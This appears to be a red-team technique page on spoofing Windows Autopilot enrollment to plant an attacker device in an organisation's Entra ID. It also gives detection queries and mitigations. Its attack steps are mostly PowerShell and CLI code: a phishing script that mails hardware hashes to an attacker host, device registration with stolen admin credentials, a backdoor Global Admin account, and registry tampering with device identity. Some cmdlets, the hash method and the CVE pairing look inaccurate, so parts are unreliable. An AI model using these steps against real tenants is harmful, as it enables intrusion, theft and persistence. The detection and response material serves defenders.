| Attribute | Details |
|---|---|
| Technique ID | WHFB-002 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Initial Access / Privilege Escalation |
| Platforms | Entra ID, Windows Autopilot |
| Severity | High |
| CVE | CVE-2022-30189 |
| Technique Status | ACTIVE with mitigations |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 1909-22H2, Windows 11 all versions, Windows Server 2019-2022 |
| Patched In | Partially mitigated in Windows 10 22H2 with device identity validation |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Windows Autopilot uses device hardware hash (4K hardware ID) to uniquely identify devices during enrollment. An attacker can register a spoofed or repurposed device with a victim organization’s Autopilot service by obtaining or cloning a valid device hash. During the Out-of-Box Experience (OOBE), the device is automatically deployed with the victim organization’s configuration, resulting in a device that appears legitimate but is controlled by an attacker. This enables unauthorized access to corporate resources, MFA bypass through device trust, and lateral movement within the organization’s cloud environment.
Attack Surface: Windows Autopilot enrollment process, device hardware hash registration, device identity verification in Entra ID, and conditional access policies trusting registered Autopilot devices.
Business Impact: Unauthorized device enrollment into organizational Intune/Entra ID infrastructure. An attacker gains a seemingly legitimate corporate device with access to corporate networks, cloud resources (M365, Azure, VPN), and can perform lateral movement with device trust established. This bypasses many device-based conditional access policies, enables credential harvesting, and facilitates insider threats through a trusted device channel.
Technical Context: The attack typically requires 30-60 minutes from device identification to full enrollment. Detection depends on monitoring device enrollment patterns and hardware hash uniqueness. Remediation requires device blocking in Autopilot and manual device removal from Entra ID. The attack is most effective in organizations with minimal device enrollment verification controls.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.2 | Ensure Device Compliance is enforced for Autopilot enrollment |
| DISA STIG | WN10-00-000005 | Windows systems must employ Windows Autopilot with device compliance requirements |
| CISA SCuBA | DC-1.1 | Device Configuration and Management - Autopilot enrollment controls |
| NIST 800-53 | CM-2 | Baseline Configuration |
| NIST 800-53 | CA-7 | Continuous Monitoring |
| NIST 800-53 | IA-4 | Identifier Management |
| GDPR | Art. 32 | Security of Processing - Appropriate measures for device management |
| DORA | Art. 9 | Protection and Prevention of Vulnerabilities in ICT systems |
| NIS2 | Art. 21 | Cyber Risk Management Measures - incident response and device management |
| ISO 27001 | A.6.2 | Access to assets - Device identity and access control |
| ISO 27001 | A.9.1.1 | User Registration and De-registration |
| ISO 27005 | Risk Scenario | Unauthorized device enrollment compromising network boundary controls |
manage.microsoft.com and login.microsoftonline.comSupported Versions:
Prerequisite Tools:
# Get current device's Autopilot enrollment status
Get-AutopilotDiagnostics
# List all Autopilot profiles in organization (requires Global Admin)
Get-AutopilotProfile
# Check device hardware hash (from provisioning package)
(Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
What to Look For:
# Extract 4K hardware hash from local device
$hwHash = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
$serialNumber = (Get-WmiObject -Class Win32_BIOS).SerialNumber
$manufacturer = (Get-WmiObject -Class Win32_ComputerSystem).Manufacturer
Write-Output "Hardware Hash: $hwHash"
Write-Output "Serial: $serialNumber"
Write-Output "Manufacturer: $manufacturer"
# Alternative: Use Autopilot PowerShell module
Get-AutopilotDevice -ID (Get-AutopilotDiagnostics).DeviceID
What to Look For:
# Connect to Microsoft Graph and enumerate Autopilot devices
Connect-MgGraph -Scopes "Device.Read.All"
Get-MgDevice -Filter "startsWith(deviceName, 'Desktop')" | Select-Object DisplayName, DeviceId, IsCompliant
# Check device compliance policies
Get-MgDeviceManagementCompliancePolicy
What to Look For:
Supported Versions: Windows 10 1909+, Windows 11 all versions
Objective: Acquire a legitimate 4K hardware hash from a device already registered in target organization’s Autopilot
Method 1a - Social Engineering Approach:
# Create script to extract and email hardware hash (phishing delivery)
# Place on USB or email to target user
$hwHash = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
$serialNumber = (Get-WmiObject -Class Win32_BIOS).SerialNumber
$manufacturer = (Get-WmiObject -Class Win32_ComputerSystem).Manufacturer
# Send to attacker-controlled email
Send-MailMessage -SmtpServer "attacker.com" -From "support@company.com" -To "logs@attacker.com" `
-Subject "Hardware Hash" `
-Body "Device Hash: $hwHash, Serial: $serialNumber, Manufacturer: $manufacturer"
Method 1b - Extract from Intune Portal (if compromised admin access):
# Connect to Microsoft Graph with stolen admin credentials
Connect-MgGraph -AccessToken $stolenToken
# List all Autopilot devices
Get-MgDeviceManagementWindowsAutopilotDeviceIdentity | Select-Object DisplayName, SerialNumber, HardwareHash
Expected Output:
DisplayName SerialNumber HardwareHash
----------- ------------ ----------
DESKTOP-ABC123 ABC123DEF456 {4K-UUID-hash}
LAPTOP-XYZ789 XYZ789GHI012 {4K-UUID-hash}
What This Means:
OpSec & Evasion:
Objective: Add attacker-controlled device to victim organization’s Autopilot service using stolen or spoofed hardware hash
Command (Using Azure CLI with stolen admin token):
# Authenticate with stolen admin credentials
az login --username admin@victim.com --password "stolen_password"
# Register spoofed device to Autopilot
az device create --display-name "LAPTOP-NEW-DEVICE" --os-type Windows
# Alternative: Import CSV with device hashes
az device import --input-file "devices.csv" --format "json"
Command (Using PowerShell with Intune SDK):
# Connect using stolen credentials
$credential = New-Object System.Management.Automation.PSCredential("admin@victim.com", `
(ConvertTo-SecureString "stolen_password" -AsPlainText -Force))
Connect-MgGraph -Credential $credential
# Register device to Autopilot
$deviceHash = "4K-UUID-HASH-FROM-STEP-1"
$params = @{
displayName = "LAPTOP-DEPLOY-01"
serialNumber = "ABC123DEF456"
hardwareHash = $deviceHash
groupTag = "Executives" # Target high-privilege group
}
New-MgDeviceManagementWindowsAutopilotDeviceIdentity -BodyParameter $params
Expected Output:
DisplayName : LAPTOP-DEPLOY-01
SerialNumber : ABC123DEF456
HardwareHash : 4K-UUID-HASH-FROM-STEP-1
GroupTag : Executives
AssignedUser :
EnrollmentStatus : Pending
CreatedDateTime : 2025-01-10T11:30:00Z
What This Means:
OpSec & Evasion:
Troubleshooting:
Win32_ComputerSystemProductObjective: Boot attacker device and trigger Autopilot enrollment using the registered spoofed hardware hash
Command (Boot device and trigger Autopilot OOBE):
# During Windows 11 OOBE, the system automatically:
# 1. Boots into Windows Setup
# 2. Detects Internet connectivity
# 3. Queries Autopilot service with device hardware hash
# 4. Receives deployment profile configured for "Executives" group
# To manually trigger (if device doesn't auto-enroll):
# Press Ctrl+Alt+Shift+F3 during OOBE to access command prompt
# Run Autopilot provisioning script
C:\Windows\System32\provisioning\AutopilotProvisioning.cmd
Expected Output (During OOBE):
Discovering Autopilot device...
Found device matching hash: 4K-UUID-HASH-FROM-STEP-1
Applying profile: Executive Device Deployment
Installing corporate apps: Teams, Office 365, OneDrive
Registering with Entra ID: Executives group
Device enrollment complete!
What This Means:
OpSec & Evasion:
Troubleshooting:
manage.microsoft.com; check firewall rulesObjective: After enrollment, use device trust to access corporate cloud resources and establish long-term persistence
Command (Access cloud resources with device credentials):
# Device is now trusted in Entra ID
# Request token using device identity
$token = (New-Object System.Net.WebClient).DownloadString("http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-12-01&resource=https://management.azure.com")
# Use token to access Azure resources
$headers = @{"Authorization" = "Bearer $token"}
Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" `
-Headers $headers | Format-List
Command (Establish cloud persistence - Global Admin):
# Add backdoor account to Global Admin role (requires cloud admin compromised)
New-AzureADUser -AccountEnabled $true -DisplayName "Support Account" -UserPrincipalName "support@victim.com" `
-MailNickname "support" -PasswordProfile @{Password="DefaultPassword123!"}
# Add to Global Admin role
Add-AzureADGroupMember -ObjectId "Global Administrator Role ID" -RefObjectId "Support Account ID"
Expected Output:
Successfully created cloud persistence account
Account: support@victim.com
Role: Global Administrator
MFA: Disabled (if not enforced)
What This Means:
Supported Versions: Windows 10 20H2+, Windows 11 with Hybrid AD
Objective: Gain local admin access to modify device identity registry entries
Command (Using obtained local admin credentials):
# Verify local admin access
$env:USERNAME
[Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name
# Check device identity in registry
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v "MachineGuid"
Objective: Change device hostname and identifiers to match legitimate corporate device
Command:
# Modify device hostname
Rename-Computer -NewName "LAPTOP-EXECUTIVE-001" -Restart
# Modify MachineGuid in registry (after restart)
# This makes device appear as different computer in Autopilot
$machineGuid = (New-Guid).Guid
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate" /v "MachineGuid" /d $machineGuid /f
# Modify Autopilot device ID
reg add "HKLM\SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot" /v "DeviceId" /d $machineGuid /f
Objective: Reset Autopilot enrollment state and re-enroll with modified device identity
Command:
# Clear Autopilot enrollment state
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Provisioning\Diagnostics\Autopilot" -Recurse -Force
# Restart device provisioning
Reset-AutopilotConfig
Version: 5.3 (as of 2025) Minimum Version: 5.0 Supported Platforms: Windows PowerShell 5.0+, PowerShell 7.0+
Installation:
Install-Module -Name Get-AutopilotDiagnostics -Force
Usage:
# Get detailed device diagnostics
Get-AutopilotDiagnostics -Online
# Extract hardware hash only
(Get-AutopilotDiagnostics).HardwareHash
# Export to CSV for Autopilot import
Get-AutopilotDiagnostics | Export-Csv -Path "C:\devices.csv"
Version: 2.0+ (as of 2025) Supported Platforms: Windows, Linux, macOS
Installation:
Install-Module -Name Microsoft.Graph -Force
Usage:
Connect-MgGraph -Scopes "DeviceManagementServiceConfig.ReadWrite.All"
Get-MgDeviceManagementWindowsAutopilotDeviceIdentity | Select-Object DisplayName, HardwareHash
Rule Configuration:
SPL Query:
index=azure_activity sourcetype="azure:aad:audit" OperationName="Create device"
TargetResources{}.displayName="Autopilot*"
| stats count, values(InitiatedBy{}.user.id) as InitiatedBy by ClientIP
| where count > 2
What This Detects:
Rule Configuration:
KQL Query:
let ThresholdCount = 3;
AuditLogs
| where OperationName == "Create device" and TargetResources has "Autopilot"
| extend UserName = tostring(InitiatedBy.user.userPrincipalName)
| summarize CreateCount = count(), Devices = make_set(TargetResources), IPAddresses = make_set(ClientIP) by UserName, TimeGenerated
| where CreateCount > ThresholdCount
| project TimeGenerated, UserName, CreateCount, Devices, IPAddresses
Event ID: 4720 (User Account Created)
Manual Configuration Steps (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.50">
<EventFiltering>
<!-- Detect Autopilot provisioning package execution -->
<ProcessCreation onmatch="include">
<CommandLine condition="contains">AutopilotProvisioning.cmd</CommandLine>
<CommandLine condition="contains">provisioning</CommandLine>
</ProcessCreation>
<!-- Detect device rename during OOBE -->
<ProcessCreation onmatch="include">
<CommandLine condition="contains">Rename-Computer</CommandLine>
</ProcessCreation>
<!-- Monitor registry modifications to device identity -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">MachineGuid</TargetObject>
<TargetObject condition="contains">DeviceId</TargetObject>
</RegistryEvent>
</EventFiltering>
</Sysmon>
Require Device Compliance for Autopilot: Enforce that only Intune-compliant devices can enroll via Autopilot.
Manual Steps (Intune):
Implement Pre-Enrollment Device Verification: Validate device hardware serial numbers and manufacturer certificates before Autopilot enrollment.
Manual Steps:
Monitor Autopilot Device Enrollments: Alert on unusual enrollment patterns and geographic anomalies.
Restrict Autopilot Profile Access: Limit which users and groups can create or modify Autopilot profiles.
Manual Steps (Entra ID RBAC):
Conditional Access: Device Trust Requirement: Enforce that only known/compliant devices can access resources.
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Ngc\ (device identity)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\MachineGuidIsolate: Block device from accessing corporate network
Command (Intune):
# Mark device as non-compliant
$deviceId = "suspicious-device-id"
Set-MgDeviceComplianceDeviceStatus -DeviceId $deviceId -Status "NonCompliant"
Revoke: Remove device from Autopilot and Entra ID
Command:
# Remove from Autopilot
Remove-AutopilotDevice -ID "hardware-hash"
# Remove from Entra ID
Remove-MgDevice -DeviceId "entra-id-device-id"
Investigate: Determine compromised admin account and audit permissions
Command:
# Review who enrolled the device
Get-AuditLog -Filter "OperationName eq 'Create device'" -Days 7
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [WHFB-002] | Current: Autopilot device spoofing for device trust |
| 2 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker uses device trust to escalate cloud permissions |
| 3 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Attacker creates persistent cloud admin account |
| 4 | Lateral Movement | [LM-AUTH-032] Function App Identity Hopping | Attacker uses device context to access cloud resources |
| 5 | Collection | [CA-TOKEN-004] Graph API Token Theft | Attacker exfiltrates organizational data via Microsoft Graph |